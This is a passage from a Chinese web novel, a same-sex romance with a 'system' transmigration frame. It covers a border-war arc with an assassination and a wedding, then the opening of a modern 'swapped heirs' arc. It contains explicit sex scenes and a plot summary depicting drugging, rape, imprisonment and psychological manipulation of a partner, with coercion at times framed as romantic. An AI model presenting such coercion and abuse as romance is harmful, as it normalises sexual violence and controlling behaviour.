殿下捏着他手上的银环转圈,方闻钟这才看到,他自己手指上也带着一个一模一样的指环,通体银色,漂亮矜贵! 方闻钟终于开始怀疑,“这是暗器吗?” 萧疏都懒得理他,让他自己体会,方闻钟惊讶地抓住萧疏戴指环的手,“殿下!这是控制我的暗器,还是我们的定情信物啊?” 萧疏被他一边弄得生气一边又哄好,“再提暗器两个字,欢欢,小心我把它收回来。” 方闻钟一下藏起自己的手,萧疏已经给他答案了,他笑得傻乎乎,爬在萧疏胸膛,“殿下,原来你早早就喜欢我了吗?”在殿下占了他身子后? 还是更久之前? 方闻钟一直挺想问这个问题的答案,萧疏说一开始就知他身份,做暗卫来保护他,又说二殿下的身份对他太好不好。 那二殿下一开始对他那么狠,又是掰下巴吓唬他又是玩弄他身下恐吓他,都是故意的吗? 殿下戏弄他,经常惦记他身子,都是假象?实则殿下心里有他,不会真过度欺负他? 难道说殿下第一面就喜欢他,和他一样?所以殿下和暗卫都对他挺好? 萧疏噗呲笑了一下,“欢欢,你把我也想得太好了,你就没想过,我是真的恶劣吗……” 方闻钟被突然放倒,压在马车之上的软榻,动弹不得,猝然打开,算了,反正知道殿下心里也有他就够了,再说清什么时候动心有什么意思。 萧疏说着恶劣,没有一点留手折磨方闻钟,方闻钟被迫呈现各种姿势。 马车滚滚而去,颠簸起来,他怕被外面的人发现听到,紧紧捂着自己的嘴,眼睛里藏了千言万语,瞪得老大,一会儿又迷离哭求,“殿下,殿下。” “换个称呼,叫什么?” “王爷。” “再换。” “萧疏,我不知道!” 萧疏抓着他腰的手,更狠厉,笑得畅快,“不知道就算了,”该叫夫君,欢欢,留着我慢慢教你。 方闻钟脖子里的红珠子线断了,方闻钟捡起来想绑好,萧疏拿过来欲扔掉。 “不要!”方闻钟舍不得。 “我人一直在这里,不用担心以后找不到我,想见我,”萧疏说,这是方闻钟找暗卫的手段,此时应该不需要了。 方闻钟:“我想留着做个念想。” “那你不准再捏它,”萧疏说。 “为什么?”方闻钟的嗓子有点沙哑。 萧疏:“你就不好奇,为何你一捏它,散发出香味,我就能找到你在哪里吗?” “为什么?”方闻钟又重复一遍。 “它是我的血制成的,我身体里有蛊虫,你捏它,我会痛。” 萧疏平淡地说道,而方闻钟怎么也想不到是这个原因,他一下哭出来了,刚才都没哭得这么凶,又是拍打萧疏,又是抱住他给他呼呼,哼!殿下还说一开始不喜欢他,欺负他不是故意的。 他看殿下早早就对他情根深种嘛。 不然哪会这么舍得。 方闻钟哭完了开始笑,“那我再也不动它了,”又改口,“可以做一个我的挂你身上吗?” 殿下,我想因你而痛。 他这种隐秘的心思必然不会叫萧疏知道,可萧疏貌似很理解,“你会因我而痛的。” 不知道说的是不是一回事,是不是答应他了…… 越近边关,萧疏开始放过方闻钟,让他有机会下车走走,骑骑马,有时候会抓着他教他读书。 萧疏教导方闻钟还是挺乐意学的,可知道萧疏宠他,他慢慢适应了自己王妃的身份,开始在萧疏面前不听话起来。 不好好读书了,反正萧疏又不会将他怎么样。 他天天跟着护卫们玩耍,护卫们只能纵着他,萧疏将人抓回去。 压着说:“被人当做小纨袴了还不知道,”萧疏提了好几个问题,竟都是曾经在固城方闻钟被坏人管家问懵的书本问题。 方闻钟越听越熟悉,然后一下翻身坐起来。 “你怎么知道!” 殿下怎么知道他在固城经历了什么! 他还知道别的吗?不是说殿下只扮做暗卫护送他从边关回京?之前的事,殿下是自己查到的,还是? 方闻钟想起那一路的艰辛,又想起他彷佛被庇佑着从未出事,一点点由僵硬到软乎,“殿下,你怎么这么好,”多余的不用说也不用问,他趴在萧疏脖颈,左右蹭蹭,把脸上的湿气和昂扬的爱意,全蹭到萧疏皮肤里。 萧疏是二皇子,二殿下,所以他会有自己躲不掉的责任,这责任让他利用方闻钟,利用他自己。 但同时,他也是方闻钟一个人的暗卫,他从未丢下过他一分一秒,他就在触手可及的背后。 如今放弃皇位带他走,他也成了他一个人的王爷。 方闻钟的磨蹭只换来萧疏一句:“要么读书,要么侍寝。” “……” 满脑子脏东西的殿下!方闻钟跳出马车,跑走了,白感动了。 第77章 “殿下,我可以生崽崽了。” 边关的第二年夏日。 方闻钟在水边擦洗身子,顺便洗去脸上的脂粉和手上的血。 那把精美的刀被他一直带在身上,刚杀了人,这会儿洗干净,再揣怀里。 回头,“‘随便’,我们回去吗?” 萧疏穿着一身黑衣,半边脸蒙起来,依旧抱着那把古朴的剑,立在他身后,靠在树上等他。 “任务完成了,自然该回去,”他如此说道,却笑着过来替方闻钟擦了擦眼角,那里还有一点多余的红粉,显得他娇俏可爱。 暗卫摸着他脸颊,眼神愈发深沉,“你穿女装的样子,还没给我看过,”倒是先勾引了别人。 来边关后,方闻钟说到做到,学着替萧疏领兵打仗。 刚开始萧疏皱眉,没有斥责他,可下面的将士都一个脸色,‘胡闹!这又不是儿戏!’。 方闻钟执着地等萧疏做决定,萧疏的做法是接下来一个月,天天带他骑马去边关巡视,那一个月,方闻钟大腿内侧磨破了又好,好了又磨破,萧疏看着他受罪,没有丝毫心软,方闻钟终于学会了在马上纵横驰骋,再也没人轻易将他打下来,或追上他。 “驾!”他发髻高高扬起,马蹄落在地上,他的心却飞起来,再沉淀下去。 他知道,这是为他好。 如果说曾经还顾忌腿内侧的伤疤,如今却不在意了,反而会在萧疏经常亲那里时,异常情动。 他说了要照顾萧疏的起居,饮食,可边关艰苦,尤其外出时,不得不将就,方闻钟食言了,总是萧疏反过来照顾他。 他感觉到不好意思跪趴着用眼神忽闪忽闪的向萧疏表达他的内疚,萧疏抱起榻上的人,去沐浴,“我不再是你的殿下,反过来,你是宁王妃,”所以这一切理所当然。 这里的风沙和寒冷,除了培养出方闻钟的坚强,还让他学会探索地图。 这本来是他的强项,萧疏也放任他去做,他带领着两千人,当了小将军,做急行军,经常往返敌人和自己人之间,汇报路途和军情。 萧疏放任他离开后,会在后面注视着他的马飞出视线。 这次,他不会再暗地里跟着,保护他安全,所以每一次外出,方闻钟都可能回不来,方闻钟自己也知晓。 所以他们会认真拥抱告别,方闻钟会说:“我回不来,王爷你就另娶他人吧。” 被吃人的视线锁住,他又娇俏,“开玩笑的嘛,我肯定回来,”不然王爷要孤独死了。 小将军遇到最危险的一次,探路时被敌军围住了,他故意带走大批人吸引注意力,然后派几个得力小将全部分散出去给萧疏报信。 那一场仗,宁王大胜,也在关键时刻救下方闻钟,包围的敌军,被萧疏碎尸万段。 方闻钟浑身是血,他趴在萧疏的马背上两人颠起又落下。 他很兴奋,因为他不仅让人报信成功,还差点脱围了,要是萧疏没来……他没及时来,自己应该也能逃回去,虽然可能会困难点,受点伤。 他激动地从马背上翻坐起来,抱住萧疏的腰,“你看到了吗!我把他们全溜晕了!”他脸上是大笑,反观萧疏,好像他才是吃败仗的那个。 事后,萧疏当着众将士的面,毫不吝啬对方闻钟的奖励和夸奖,但私下里,他恶狠狠地一定要让他知道分寸。 “再敢犯险我让你先死在榻上。” 方闻钟三天没下来,半旬没见人。 不犯险不可能,打仗又不是开玩笑的,方闻钟当了小将军,就要负起责任和将士的命,所以适当的危险没办法,但他也知道,这次吓着萧疏了。 以后他会尽量注意的。 经常和敌国打来打去,己方损失不小,连累边关百姓也经常提心吊胆,但敌国国力衰败更甚。 今年夏天时,萧疏看着舆图,忽然跟方闻钟提起,敌国的一个王爷很厉害,其他争位的王子,差得旗鼓相当,都是半斤八两的废物。 自从去年最有胜算的大王子死后,内斗就没断过,愈演愈烈,全凭那王爷稳住局面,并在往后数次虽屡战屡败,但还有苟延残喘的实力。 方闻钟说出萧疏的想法,“若是他死了……” 萧疏:“若是他死了,敌军不战便败,边境至少稳定数十年。” 萧疏还在计画中,方闻钟已经跃跃欲试,“我们去刺杀他吧,”他怂恿萧疏,“你扮做暗卫,带我一起去好不好?” 他们两人孤身踏上去敌国,杀人的路。 萧疏之所以同意,并不真认为这是个绝好的方法,认同方闻钟,只是想带他出来走走看看,顺便查找其他机遇。 谁知还真叫他们撞上好时候了,那王爷最显著的缺点便是好色,恰巧,他刚看上的一个良家女子跳河自尽,方闻钟便自作主张穿上女装,去勾引人。 他做这些时,一边心里算计动作不慢,一边穿好衣服后安抚冒黑气的暗卫。 现在他做什么萧疏一般不会强烈反对,再加上方闻钟一句:“有你在嘛,我又不会有危险,”萧疏就听他计画行事了。 杀人时没有出现差错,方闻钟也没叫人占到便宜。 只不过最后想出手时,萧疏飞身下来,剑还未到,方闻钟就自己将刀插入中年男人的心口。 他面不改色,对血适应良好,然后回头对萧疏笑:“‘随便’,快带我跑!” 他们逃出敌国范围,逃出搜查的敌人视线,赶了许久路,才在这条河边停下来洗掉脏污。 方闻钟抬头,“我没有叫你看过吗?在青楼时……” 萧疏用拇指抵住他说话的嘴唇,“你仔细想想,那时是给我看的吗?” 方闻钟眼神闪烁,他知道,萧疏在说,那是殿下,不是暗卫‘随便’。 “回去给你穿好不好,”方闻钟答应他,他其实知道,萧疏偷偷叫绣娘做了好多漂亮的女装,但没有主动开口让他上身过。 萧疏微笑,上道。 但是可以勾引哥哥嘛,萧疏当暗卫的时候,方闻钟还未与他亲近过,一时难以形容的刺激涌上来,他扑在萧疏身上,“‘随便’,带我去那颗大树上好不好?” …… “哥哥,轻点儿,后背疼。” “哥哥,腿要断了,”他断断续续啜泣地喊萧疏,却从未叫过一句别的什么,除却‘随便’,就是哥哥。 暗卫脸上的黑布,早被扯去不知道扔在了哪里,他一身黑衣,完全覆盖在方闻钟身上,还要顾忌着下面树枝的粗糙和承重。 他也很激动,方闻钟知道。 最后洗漱过后,方闻钟哭喊着那里有点疼,本来就浅小,萧疏又毫不讲道理,方闻钟不舒服就哭,看萧疏心疼。 萧疏忽然再将衣服弄上去,替他细细舔舐。 方闻钟感觉自己整个人要被吞下去了,他控制不住地大叫,狠狠揪住萧疏的头发,“还疼吗?” “不疼了不疼了。” “哥哥,再来一次。”- 边关的第一个冬日。 浩浩荡荡从京城来的聘礼和嫁妆队伍,走了整整两月。 都是皇帝出的,说好的大婚之时,他会送上贺礼。 萧疏没打这些东西的主意,没有也会将他们的大婚办得富丽堂皇,珠光宝气,不会委屈了方闻钟。 方闻钟看着礼单,一边高兴地长见识,“哇,哇。” 一边拉住萧疏,“皇上真大方。” 师兄也来边关了,温行第一次见到萧疏,行礼后就被方闻钟拉过来讲小话,“你可以看看王爷的腿吗?” 温行打量他腹部,他也见过其他双性人,还怀了身孕,一时间,难免关注方闻钟。 方闻钟的身体异样从未对外人讲过,但谁叫温行是个医术高超的大夫呢,很早之前,他就知道了。 方闻钟随着他视线也看自己的小腹,温行未说一语,他自己就突然想到,对了!他是可以怀孕的! 好像是这样?方闻钟偷摸摸了一下自己的脉象,松了一口气。 随即,不知是不是还有一点小失望在里。 “师兄,王爷的腿伤厉害吗?还能恢复好吗?” 温行道:“他能站起来,正常走路,已经是奇事了,”一到边关随时随地都能听到宁王的勇武霸道,之前当二皇子时,也没见他顾忌着腿。 所以温行觉得,他只是有一点瘸,偶尔会痛,已经超乎寻常,无法再更好了。 叫方闻钟不必担心。 听到这样,方闻钟失落地叹了一口气,温行也了解,不是小师弟嫌弃宁王,而是心疼他。 小师弟有这样的着落,也算安了众人的心,包括他地下的双亲。 喝过合卺酒,萧疏被满目的红色晕染的晕晕晃晃,连方闻钟的脸颊额头也是红的,他红晕的皮肤,被嫁衣从脖子里开始藏在衣下。 萧疏也是一身红,方闻钟已经喝醉了。 不待洞房花烛夜,他已经偷偷把自己灌醉了。 “小馋包,”萧疏将人抱在怀里,许久,沉默中,舒长地叹了一口气,他说:“真好,方闻钟,能和你成婚,真好。” 他的炙热心意,他的真诚表白,这一刻只有他自己听到。 方闻钟嘴巴轻微动着。 萧疏贴近聆听。 “答应我一件事……” “爹爹,娘,我,我好幸福啊……” “殿下,我可以给你生崽崽了。” “殿下,我要给你生崽崽。” 萧疏亲吻住人,然后用一夜的时辰,叫他学会叫夫君。 第78章 强取豪夺:89 萧疏:“想搞我?” 低沉嗡鸣的贝斯厚重又震颤,吉他手也不甘示弱身姿妖娆激昂热烈,节奏极强的架子鼓在灯光晃动和摇曳中,准确地踩上每一个节奏点。 本来是家清吧,可因为台上这只乐队,愣是把顾客激得手舞足蹈,恨不得跑到台上自己也唱两句! 但无人敢这么做,甚至因为台上别具一格的主唱大人,连下面跳起来的观众也收敛着些,尤其女性,个个害羞面带笑容,心里却忍不住啊啊乱叫。 主唱是个身高接近一米九,染着一头蓝黑发,五官锋利,左耳带着一颗黑色耳钉的超绝帅哥。 耳钉闪着光,酒吧里灯光五颜六色跳跃地打在他脸上,犹如美神降临,时不时抓心挠肝,引起一阵阵哄闹。 其他同伴沉浸其中,演出精彩炽热,唯有最前面的主唱,又似游离世外,又似比谁都动情。 他冷冽的金属嗓音漫不经心地滑过听众耳朵,又用清亮高亢的高音提起众人心态,看着他脖子里显现的青筋,看着他偶尔抬眼冷漠的注视,自始至终,他坐在高脚椅上连脚步都没动过分毫,于是台下的顾客也克制着些。 好像在他近在咫尺的面前,做出过分激动的表现,都有点出丑和不好意思。 一曲结束,最后一个尾音落下,打架子鼓的胖子已经从后面拥着两个同伴上来感谢致敬了,他们鞠着躬大笑,最前端的萧疏,也挑起一个笑容。 眼神极其随意地滑过下面最右边一夥富二代。 之所以叫富二代,他们有钱顽劣的状态太明显,这会儿围着一个人七嘴八舌说话打闹。 “方闻钟,上啊!” “我去!之前你说这主唱帅!跟了他好几天,我还不信!这真他妈带劲!” “我都要喜欢上了!要不是老子铁直……” 方闻钟将人捣了一胳膊肘,给他一个你敢的视线,他面前摆着一杯蓝色鸡尾酒,度数很低,从进来后却没喝过一口,这会儿热血上头,一饮而尽。 他嘴唇红红的,左右看看让朋友给他打气,“我真上了?我跟了他好长时间,从高尔夫球场到这酒吧,他一次都没理过我,也不跟我讲话,这次要是还不行,”他就出大丑了,人这么多。 “你确定他喜欢男的吧?” “不知道,好像听说在学校男女通吃。” “别遇上一个烂黄瓜啊,长这么帅还不渣,简直不可能。” “他是不是很缺钱啊,方闻钟,拿钱砸他!软的不行来硬的!” “他高尔夫球场的工作就是我给他搞黄的,”方闻钟很快酒意上来了,挺心虚又理直气壮地这样说道。 短短一分钟,七嘴八舌他们一夥人就嘴没停过,有说话随意泼冷水的,也有怂恿鼓励看好戏的,几个臭皮匠起哄闹出了军师联盟的架势,非要架着方闻钟当场上去拦人。 “喂!方闻钟,再不上要被截胡了!” 因为萧疏最后一个算得上温柔的微笑,一个小骚零小夥儿,这会儿顶着一张男版妲己脸,扭着屁股跑上去要摸萧疏胸肌。 他穿着细闪的深色衬衫,露出大片脖颈和胸膛,脖子里又戴着几根项链。 一低头,项链垂下,色情又勾人。 方闻钟惊起,脸上表情还没来得及生气,就见前面的萧疏,一把抓住人手腕,往旁边一撇,那小骚零差点儿原地摔倒。 男妲己看向高高在上的萧疏,他一副生人勿近的样子,正直得不像要报警,而像单纯看不上他这类货色。 再一眨眼,乐队已经下去看不到了。 方闻钟独自往后台跑去,经过舞台时,被拥挤的人挡了一下,膝盖磕在桌子上,他痛得扭曲,一转身,还是情敌!他恶狠狠地瞪了一眼,摸着膝盖,跳着脚去追主唱大人。 萧疏在休息间放好设备,其他同伴跟他告别,“萧疏,我们先去赶下一场了啊,你真不去?” “今晚那场子有富婆,能挣一千!” 萧疏垂眸,“嗯,你们去吧。” 他等的“小富婆”也马上来了。 想到这里,他突兀地笑了一下,睫毛掩盖住细碎的光,手里细心在手腕上缠绕着护腕。 之前打球打伤了。 他抬头,听到慌慌张张的脚步声,对于经理把他们的休息室,告知富二代方闻钟,萧疏丝毫不意外。 这次,方闻钟是豪门次子,他有一个雷厉风行的女强人姐姐,姐姐大他八岁。 他在家很受宠,也比较任性霸道,挺单纯的,有点蠢蠢的,又坏得张扬而不自知。 萧疏,或者他应该叫方疏,他才是方家那个本应该锦衣玉食养大的方家小少爷,而萧(方)闻钟,实际是个鸠占鹊巢,被抱错顶了他身份的假少爷罢了。 萧疏缠好绷带,等着猎物上鈎,忽然,他歪了一下头,心思百转千回。 不对,现在他应该才是猎物才对,他的小猎人马上要对他采取非常手段,强取豪夺要把他困在身边了。 “这身皮囊,倒是得人喜欢,”他摸着自己的脸,门外传来捅钥匙的声音- 原剧情里,‘萧疏’和方闻钟是一对抱错的真假少爷,起初两人都不知情。 方闻钟混迹各种有钱人场所,意外在一家高尔夫球场看上了帅得惨绝人寰惊为天人的‘萧疏’,他故意接近萧疏,‘萧疏’不理他,因为‘萧疏’忙着伺候富婆。 方闻钟发现了,他喜欢钱,于是用了些手段把‘萧疏’弄过来给他当球僮。 他打得不好,于是经常要劳累‘萧疏’捡球,接下来干脆乱打,‘萧疏’捡回来一次,他就扔过去一万,一整天,撒出去几十万现金,‘萧疏’脸上控制不住动怒,全是黑气。 钱是没少赚,但屈辱也受够了。 方闻钟不觉得他在侮辱人,‘萧疏’又陪他了,又拿到了钱,他们都应该很开心不是吗? 后来方闻钟又纠缠了几天,‘萧疏’明目张胆地忽视他,甚至对他发脾气。 方闻钟:“你跟着我!我给你一百万!不然,不然……” “你他妈谁缺你那两个字儿,”‘萧疏’在角落差点打人,还不是方闻钟身份不低,才叫他没动手,干忍着了。 第二天,方闻钟就搅黄了他的工作。 不跟他玩儿,也别想跟别人玩儿,哼!他等着‘萧疏’缺钱,他再找机会接近他,然后就见‘萧疏’来这家酒吧驻唱。 他可真是多才多艺,方闻钟看入迷了,一时连续几天,光顾着欣赏,没来得及凑上去再问人。 接下来,在酒吧闹出一串匪夷所思的事,他逼着‘萧疏’唱他爱听的歌,逼经理赶走其他顾客,只留他们一夥儿。 朋友起哄玩真心话大冒险,他要强吻‘萧疏’。 被‘萧疏’反过来亲嘴肿了。 ‘萧疏’换什么工作都甩不开他,干脆破罐子破摔,方闻钟撒钱撒得大方,‘萧疏’要是稍微对他态度不好,不搭理人,他就跑去对方学校抓人,装他男朋友,告得人尽皆知。 ‘萧疏’只能继续由他接近,无孔不入。 ‘萧疏’将方闻钟的各种手段看做有钱人小少爷的玩闹,只顾着他自己开心,方闻钟却越来越上头,很认真,所以当他发现虽然‘萧疏’表面上不反抗了,实际对他仍没什么好看法,他策划了一场英雄救美。 给‘萧疏’制造麻烦,又幼稚拉风地出场替他解决麻烦,他想,‘萧疏’一定会感激他,从而慢慢喜欢上他。 ‘萧疏’却从头到尾知道这是他的戏耍!那次气的人要将方闻钟抓去酒店给个教训治个明白! 他妈的,不是缺男人吗! 可是剥了方闻钟的衣服,却发现他屁股上有一个心形胎记。 ‘萧疏’人傻了。 他从小就知道,自己和父母不像,性格、长相,天差地别,父母对他也不好,所以养成了他淡漠金钱至上的性子。 偶然间听他们提起过,“孩子身上有个心形胎记,可可爱了。” 他没有,所以十八岁他就替自己查了血缘关系,亲子鉴定显示,他不是萧家的亲儿子…… 猛然碰到这么一个对得上的,‘萧疏’狠狠捏着手,看方闻钟要将他吃了吞肚子里。 接下来,他一反常态,竟然接受了方闻钟的示爱,方闻钟高兴坏了,和他黏腻,兴奋之时,想提出包养‘萧疏’。 其实他很喜欢‘萧疏’,对他是真心的,可他嘴硬说包养,本以为‘萧疏’会不同意,和之前一样生气,谁料‘萧疏’竟然答应了! 从这一刻开始,方闻钟自以为‘萧疏’被迫,一步步走入他的圈套,他嘿嘿奸诈地笑,殊不知,关于他的一场骗局,正在迅速展开。 ‘萧疏’任他予取予求,曾经方闻钟高调示爱,或许惹人笑话,现在他陪着他和方闻钟一起在外人面前嘴对嘴,他很听方闻钟的话,好像真是一个听话帅气的小宠物,伺候着他的金主大人。 金主有时不知天高地厚,逼着‘萧疏’喝柠檬汁,‘萧疏’给他面子,痛苦地喝下去,回去就让方闻钟下不来床,他不知是不是泄愤,方闻钟一点没察觉到情绪不对,小处男第一次,感觉棒极了。 他喜欢‘萧疏’喜欢得沉醉入迷,‘萧疏’拿着他和方家夫妇的亲子鉴定书,冷笑了出来。 还不够,他在阴影里冷漠地注视着萧闻钟,他还不够爱他,等他彻底对他动心爱上他后,他一定要将人以最痛苦的方式折磨报复回来。 ‘萧疏’对方闻钟太好了,生病照顾他喝药,手忙脚乱学做饭喂他吃,他们同居。 方闻钟的一个酒肉朋友又想骗他钱,被‘萧疏’识破,‘萧疏’替他断了这个朋友,方闻钟一边委屈一边高兴‘萧疏’为他考虑。 见到了方家大姐,和回国的父母。 ‘萧疏’彻底确定了,他就是方家的孩子,方闻钟就是个小偷!还卑劣地舞到他面前强迫他用钱诱惑他! 方闻钟病好后,和别人一起去山路赛车,碰上电闪雷鸣的雨天,车子打滑,本以为要摔下山路死定了,迎面撞过来一辆车,死死将他顶在摇摇欲坠的悬崖,救下他! 惊魂未定,方闻钟抱住‘萧疏’凶狠地亲上他嘴唇。 他的身心,被一个人填满了。 情到浓时,感情最烈,方闻钟做好了和‘萧疏’一辈子的打算,他以为‘萧疏’也是如此,却不知,‘萧疏’的一辈子,是他再也逃不出去的牢笼。 方闻钟消失了,家人朋友找不到。 他被‘萧疏’藉着去深山旅游,抓起来困在一座荒无人烟的山上的大别墅里,盖房子的钱,还是方闻钟给‘萧疏’的。 山下,就是方家,方闻钟的亲爸妈。 别墅很大,方闻钟活动的空间却很小,有时,在笼子里,有时,在小黑屋,端看‘萧疏’的恨多还是少。 方闻钟不见天日,这还不是最折磨的,他染上了性瘾,因为经常被‘萧疏’灌迷药,然后强|奸他。 他的二十四小时只有‘萧疏’,‘萧疏’玩弄他,他离不开这个男人,身体上特别想要,可他仍不知道‘萧疏’为何这样对他。 方闻钟清醒的时间不多,也就没多少时间发动大脑思考。 日复一日,爱‘萧疏’,和他做,成了吃饭睡觉一样的本能。 ‘萧疏’假出轨,身上带着吻痕和香气,就是为了逼方闻钟发疯,他果然如他所料,铁链被拽得勒破他手腕。 然后在方闻钟最愤怒时,告知他,‘我们谁才是方家真正的少爷。你占了我的一辈子!害得我如此下场,你觉得你应该受这惩罚吗?’,证据被撕碎扔在方闻钟脸上。 方闻钟傻了,物理意义上的。 每天被灌输,‘没有人爱你,方家没有人在乎你,也不会找你,你就是个一事无成的小废物,只有我会可怜你,只要你听话,乖乖的,我会一直爱你’……他的精神出现问题,灵魂破碎。 他坏得任性,可骨子里善良,才会感觉到亏欠,才会对‘萧疏’的PUA深信不疑。 可‘萧疏’的坏剜人骨掏人心,他就是个彻底的人渣,在方闻钟彻底受他控制变成个小傻子之后,他带着他,来到了方家,公布他们的身份错乱。 方家接受了他,因为‘萧疏’装得隐忍可怜,而方闻钟又被他救回来了,方闻钟不说‘萧疏’一句坏话,就是不信任不搭理任何一个外人,包括曾经最疼爱他的父母姐姐,只围在‘萧疏’身边。 离开几步,他都会活不下去。 方家得知他们彼此“相爱”,只能让方闻钟继续这样糊里糊涂地留下来。 恢复身份的方疏大公子,渐渐暴露了他风流冷漠的本性,眼里只有钱,只有名利。 而萧闻钟,默默无闻在所有人忽视的角落,成了他身边一个撒气泄欲的小玩意儿。 一如他曾经那样对他,‘萧疏’也对方闻钟强取豪夺,只不过,这次夺走的,取走的,是一个鲜活的人格,是一个爱他如命的爱人。 方闻钟在第二年后,被完全诊断为精神病- 萧疏在方闻钟进门前,最后跟系统确定了一遍:原剧情,方闻钟喜欢他时,他疑心他们的身份,方闻钟爱上他,全凭他会演戏作秀,然后等待方闻钟的就是痛苦和痴傻,因为他反转了信息差!又坏又渣,本性暴露,反而风光一生。 渣攻数值89。 萧疏咽下嘴里的血气。 系统问:“宿主,你想好了如何在不ooc的情况下,拯救方闻钟吗?”宿主会不会选择一辈子不恢复身份?那样砍剧情,可能会出现问题,系统担心。 萧疏忽然笑了一下,原剧情,不是最好演的吗。 方闻钟先对他强取豪夺,然后他反过来将他困在身边。 只要他爱他,方闻钟就不会走上老路,痛苦一分。 笨笨的猎人,终于打开了钥匙锁,他手忙脚乱,进来看到萧疏背对着他,柔软的衬衫脱到一半,背肌饱满又光滑,萧疏回头,冷冽的眼将方闻钟定在原地。 方闻钟手忙脚乱,敲了半天门,他擅自打开,稍微有那么点心虚。 一看到眼前这幅美景,顿时心痒痒的,想要上去在他背上摸一把。 萧疏好骚啊,前面看他的衬衫好像是黑色的带闪,现在正常室内灯光下看,竟然是墨绿色的! 萧疏干脆脱下衣服,将人忽视到底,找半天没找到自己要换的,回过身。 “把你那恶心的目光给我收回去。” 方闻钟没气势地咽了咽口水,让自己看起来没那么色急,萧疏终于套上短袖,“嘁,不是跟经理拿到钥匙了吗,敲什么门?”他挑眉扫过来。 被骂被鄙夷了方闻钟也不生气,甚至他觉得今天萧疏挺好,主动跟他说这么多话。 “萧疏,”他盯着他脸凑过去,“赏个脸,我请你去吃饭啊。” “五星级酒店,我们点多少我事后给你多少钱。” 萧疏看过来,方闻钟半坐在沙发扶手上的身子不自觉僵了僵,他等了许久,以为萧疏不会答应,没想到这次他半句不说,凶狠地直接跟着他后面,“走,老子今天不点到你破产,就不信萧。” 又没说点了要全吃。 蠢蛋,拿钱砸人都不会。 “哎,你就这么答应了?” “不然,你方少爷再让我丢掉工作?”高尔夫球场的事萧疏长记性了,他妈的有钱人的小把戏! 方闻钟说跟着他,‘萧疏’没理,方闻钟就搞他。 跟在身后,萧疏比他高很多,方闻钟看着他蓝黑色的头发,抓了抓自己的碎发,他也挑一缕染成蓝的怎么样? 他摘下自己左手上的两个戒指,向前递给萧疏,“萧疏,你脖子里的项链戴这个更好看,你那个怕不是假的吧。” 萧疏回头,一把将脖子里的项链拽下来,扔给他,意思是随方闻钟开心。 走出酒吧,萧疏带着他从后门出来,这边更方便,谁料遇上几个堵门的,正是方闻钟朋友,他们怕主唱不同意,又不敢直接惹怒方闻钟,找藉口跑了,所以替方少爷在这儿放哨。 两人出来,三个手机手电筒照在他们脸上。 萧疏抬起手挡了一下脸。 一朋友吹口哨,真他妈帅啊!方闻钟不亏。 方闻钟在后面赶紧叫他们别烦,把朋友还没赶走,萧疏一把拉住人胳膊,方闻钟顿时下一秒被他大力甩在墙上,萧疏的腿弯曲插进他腿间。 近在咫尺。 萧疏和方闻钟面对面,吐出的气息快轰在方闻钟脸上,萧疏明明是骂他的,方闻钟完全没顾着听,光控制心跳了。 “不就是想搞我吗,看看最后是谁被搞。” 第79章 “我等的人,他在多远的未来。” 萧疏松开方闻钟,立马退离好几步远。 朋友们识相的没跟上来。 方闻钟如约带萧疏去酒店吃大餐。 他们坐在空中餐厅,这里环境优雅静谧,只有几桌客人,都离得挺远,服务员上来时,顺手在他们桌上插了一朵冷冻过的玫瑰花,冒出丝丝白气。 方闻钟任由萧疏点菜,他则转头看着那边的钢琴演奏。 “萧疏,”他眼睛放光,还在看钢琴师,话却对萧疏说:“你会弹钢琴吗?你弹肯定比他帅好多!” “不会,”萧疏冷漠回,然后将点好的菜单交给服务员。 方闻钟这才抽空看了眼,萧疏只点了他们两个的食量,没有乱点,方闻钟星星眼,他人真好,顿时忘了早些时候,‘萧疏’把他堵在角落里恨不得要揍他。 吃饭时方闻钟没有再多话,因为他也沉浸在美食中,低头闻了闻自己的杯子,坏了,里面有酒精,他点的时候忘了。 抬头,“萧疏,我可以和你换吗?我要你那杯无色的。” 萧疏放下叉子抬眸,“为什么?” 方闻钟明明可以好好解释,他喝不了酒,萧疏的那杯看起来没有酒精,但他非要浪,“你喝过了,我想尝尝你嘴巴的味道。” 小少爷贴近桌子,一眨不眨地看向对面的帅哥,他人长得可爱,精雕玉琢,虽然打扮得偏时髦帅气,但说这句话做出这幅样子时,并不会让人觉得油腻和冒犯,反而心里被挠一下。 反正萧疏正是这个感觉。 他黑着脸看方闻钟擅自换过他们的饮品,然后对着他刚喝过的地方,抿下去一口,然后抬头,笑嘻嘻对萧疏一语双关,“真好喝。” 萧疏喝了一大口他的酒,盯着方闻钟湿润的嘴唇,喉结大幅度滑动,方闻钟知道不能再惹人了,不然闹生气了怎么办。 一杯酒快喝干净,萧疏才倏地放下杯子,睫毛遮住眼里的吞噬和欲望。 萧疏酒量也太不好了吧,半杯酒,吃完饭他就脸色通红,一只胳膊随意伸展搭桌子上,头枕在胳膊上,安静地貌似睡着了。 方闻钟看呆了,萧疏闭眼的样子,满目红晕,就像一个巨大的洋娃娃,是方闻钟最喜欢的那种,他情不自禁想站起来点,指尖欲探探他额头。 椅子突然响了一下,方闻钟收回手,尴尬地看看四周,他好像个变态啊。 不行,不能趁人之危,他用左手抓住右手手腕,一脸痛不欲生地收回来,他喜欢人是不假,耍起手段也挺无理取闹挺狠,但这是他的性子,没办法。 要是再动手动脚,那就过分了,方闻钟还不想萧疏用厌恶的眼神看他。 他可以躲他,反正最终逃不了他的手掌心,他一定会拿下他。 但不能厌恶他。 最终坐下,眼前就是萧疏伸过来的手,他虎口到手腕都缠着一圈圈腕带,黑色的,显得他修长的手指愈发冷白,他指甲也好好看啊,方闻钟像个痴汉盯着萧疏的手看。 “萧疏,萧疏?” 萧疏没回应,脑袋动了动浅浅地皱着眉头,这张脸太出色,方闻钟觉得,能让人盯一整天都不嫌烦。 他偷偷摸摸地抬起手,搭上萧疏的手,人还没醒,他没敢摸他,只是挑起那腕带的一头,一点点拆开。 直到把腕带全快抽出来,萧疏的手被拉扯地在桌上动了动,方闻钟仔细看,手腕上还是一片白,什么都没有。 根本没发现萧疏醒过来了,正沉沉地看着他。 最后一圈,他还要拽。 萧疏忽然握住腕带,顺便紧紧握住方闻钟的手腕。 他力气好大,方闻钟刹那间就感觉到疼了,一抬眼,对上萧疏的视线,吓得都没敢喊。 是他自作自受了,萧疏越来越用力,他们彷佛在对峙,很快,方闻钟没忍住,眼眶湿漉漉的眼泪要掉不掉,他紧闭嘴巴,不跟萧疏求饶。 萧疏忽然说:“把这朵花吃了,我就放过你。” 方闻钟看到桌上那朵玫瑰,手腕上的力道已经松了一点,他听话摘下一片花瓣送嘴里。 冰冰凉凉的,没味道。 